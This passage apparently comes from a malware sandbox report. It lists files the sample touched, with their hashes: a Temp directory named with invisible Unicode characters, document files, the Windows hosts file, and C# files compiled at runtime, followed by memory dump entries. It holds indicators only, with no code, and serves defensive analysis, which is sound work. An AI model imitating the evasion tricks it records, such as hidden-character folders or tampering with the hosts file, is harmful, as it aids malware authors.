78f87ba75dbcc7091794890a04b03c7d03587b7a94e4130d4a8fc2fc0c2fbe02

SHA512
157b8818cb22e99155d4fd577ecacfd52ce1c21aadac34bc6ac6049c25367a52610b7d9434169905a008b1b48db870f018af546239de5602d2458abb084ea5a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\Files.docx
Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\GroupUnprotect.pdf
Filesize
685KB

MD5
576b39a88eff3fbcd472ba8c83815079

SHA1
bfc333c4df0b0ca408e4811e7c2d78549b0b15bc

SHA256
a2600904cbc0dcae883b93dc4be1c2aca8b2f5805319155d33ad7b23449ad675

SHA512
9cd421e6246f0abddc2ed2e42d7bace5fb5278659cfcab99be0811a1722d4c6b1ddd82cf7b21cb7031a6cacdfafff11f5d7e77ce440a4fc32bd743839e9479e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\Opened.docx
Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\Recently.docx
Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\RestoreAdd.xlsx
Filesize
640KB

MD5
b01612f7be03fd221fabc20216a74a93

SHA1
1ca1540ecdc93eaed5eedcdb1cbe333ef8df5b9d

SHA256
8736cee0ff68c71e0c3d2b86852072b27d0d294898d5c1862c18e02d80776c85

SHA512
426f3bc917457713ff24b3b7e596dae24b3a956f6911b9d2a28ae34e4c15b9a1159c788addb4d3cc7922ef2df20a6e07796cbdc0ca0fa9283d91f0a43570f791

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\SwitchSave.txt
Filesize
707KB

MD5
3620796592b9918c290faf7d5f90271e

SHA1
9bd07da6f10cdff8163ebc72b5a0fa66fb7d1b01

SHA256
ba114f259f8c67eda98cd6bc0aeca5deea53769a5fee35f9cb3d7316c87dd9e3

SHA512
b79b4b5517424807e1e5d1aa3a01ba852d1be6aef3ea1b8850182bb75f1e8c600802b2dbaed27d01d6b5a3aba9956b996bd10de418a1ac0487c759da8523fa58

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\TestInitialize.pdf
Filesize
618KB

MD5
8dba381a1e56be111475d3afcf64ce8d

SHA1
c910e174dc7d166ca84cf3696969f8b088be5e54

SHA256
cbd253018045f7589da4cc1fa5148a93902583f2d363da41d1a2bdf3c2e30a87

SHA512
b9cffa77a0f52fda9cda4bb6904117378cea4134fdced93c051d29d336d9d59cd44a2410663537534df5c60c267e12e342b0b647fddf2d30f04f76ac7bef8fe4

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Documents\These.docx
Filesize
11KB

MD5
87cbab2a743fb7e0625cc332c9aac537

SHA1
50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

SHA256
57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

SHA512
6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎‏ ‌ \Common Files\Downloads\SkipCompress.docx
Filesize
946KB

MD5
ab91afa25bed4ae61419a5e5606ee2d3

SHA1
ea4bcf6e2527e7a31b942fde903f5c58d4dea2f3

SHA256
97bbdc6d31afb731dd7c6aaccf32a57ffd8ab7318dcb3003d1bca0ffbde32792

SHA512
52b70f4cefd3eb9b7349a96c8bd4397e95423ef39d46355392ac525bce9dbffe378223a9512cec9db945e956035816ee683cac8c8f042b996796ab5c79708cda

Download Submit
C:\Windows\System32\drivers\etc\hosts
Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fuaemtxx\CSC6ADB9706EE254FCE9453AAEF5D8C16E2.TMP
Filesize
652B

MD5
aedd6849d46021e3e872c22575acef10

SHA1
0b7e9c31478c31e53b2bbda2a92f6c75763907e1

SHA256
994835ef78c84df62bacd1a7613758fe3e61e372f96ec97f1525a5ec3c0be049

SHA512
832ab69f250d71a4fa9f5ba470fb4a1ba592e66806f3e233b09d7741a27dd6cfb335ad8ae8140300a3c47b8b087f4a36617e1e84ce38d3f5b48695bbafa25a8f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fuaemtxx\fuaemtxx.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fuaemtxx\fuaemtxx.cmdline
Filesize
607B

MD5
7ce2b1b4c49c3967e21a58851f053910

SHA1
b564e37cdd466d60be98dfba07375ab8c7e6d267

SHA256
d24cac51f2dcb7728fe8b7e3390e5ffe36f4a81ea68e5cfcb90adb5c7026de80

SHA512
6022bed18d47eb3a68939acf1d3ddaad62266e4df4330bc4936aa45bed7dc3b0ee0f6471937298f60226a551943541412c685dab86cc4895f3086bbc7dd78fcf

Download Submit
memory/4064-94-0x000001DBBB610000-0x000001DBBB632000-memory.dmp

Filesize
136KB

Download
memory/4276-222-0x000001CBA8C10000-0x000001CBA8C18000-memory.dmp

Filesize
32KB

Download
memory/4904-48-0x00007FFA4F9F0000-0x00007FFA4F9FF000-memory.dmp

Filesize
60KB

Download
memory/4904-304-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp

Filesize
100KB

Download
memory/4904-84-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp

Filesize
1.1MB

Download
memory/4904-75-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp

Filesize
148KB

Download
memory/4904-76-0x00007FFA4AC10000-0x00007FFA4AC24000-memory.dmp

Filesize
80KB

Download
memory/4904-71-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp

Filesize
6.8MB

Download
memory/4904-73-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp

Filesize
5.2MB

Download
memory/4904-266-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp

Filesize
144KB

Download
memory/4904-72-0x000002AC39320000-0x000002AC39849000-memory.dmp

Filesize
5.2MB

Download
memory/4904-68-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp

Filesize
820KB

Download
memory/4904-67-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp

Filesize
204KB

Download
memory/4904-64-0x00007FFA4E0E0000-0x00007FFA4E0ED000-memory.dmp

Filesize
52KB

Download
memory/4904-62-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp

Filesize
100KB

Download
memory/4904-60-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp

Filesize
1.5MB

Download
memory/4904-58-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp

Filesize
144KB

Download
memory/4904-56-0x00007FFA4AD30000-0x00007FFA4AD4A000-memory.dmp

Filesize
104KB

Download
memory/4904-54-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp

Filesize
180KB

Download
memory/4904-47-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp

Filesize
148KB

Download
memory/4904-78-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp

Filesize
180KB

Download
memory/4904-25-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp

Filesize
6.8MB

Download
memory/4904-283-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp

Filesize
1.5MB

Download
memory/4904-79-0x00007FFA4AFE0000-0x00007FFA4AFED000-memory.dmp

Filesize
52KB

Download
memory/4904-319-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp

Filesize
1.1MB

Download
memory/4904-316-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp

Filesize
5.2MB

Download
memory/4904-315-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp

Filesize
820KB

Download
memory/4904-305-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp

Filesize
6.8MB

Download
memory/4904-314-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp

Filesize
204KB

Download
memory/4904-306-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp

Filesize
148KB

Download
memory/4904-335-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp

Filesize
820KB

Download
memory/4904-344-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp

Filesize
204KB

Download
memory/4904-348-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp

Filesize
1.1MB

Download
memory/4904-347-0x00007FFA4AFE0000-0x00007FFA4AFED000-memory.dmp

Filesize
52KB

Download
memory/4904-346-0x00007FFA4AC10000-0x00007FFA4AC24000-memory.dmp

Filesize
80KB

Download
memory/4904-345-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp

Filesize
5.2MB

Download
memory/4904-343-0x00007FFA4E0E0000-0x00007FFA4E0ED000-memory.dmp

Filesize
52KB

Download
memory/4904-342-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp

Filesize
100KB

Download
memory/4904-341-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp

Filesize
1.5MB

Download
memory/4904-340-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp

Filesize
144KB

Download
memory/4904-339-0x00007FFA4AD30000-0x00007FFA4AD4A000-memory.dmp

Filesize
104KB

Download
memory/4904-338-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp

Filesize
180KB

Download
memory/4904-337-0x00007FFA4F9F0000-0x00007FFA4F9FF000-memory.dmp

Filesize
60KB

Download
memory/4904-336-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp

Filesize
148KB

Download
memory/4904-320-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp

Filesize
6.8MB

Download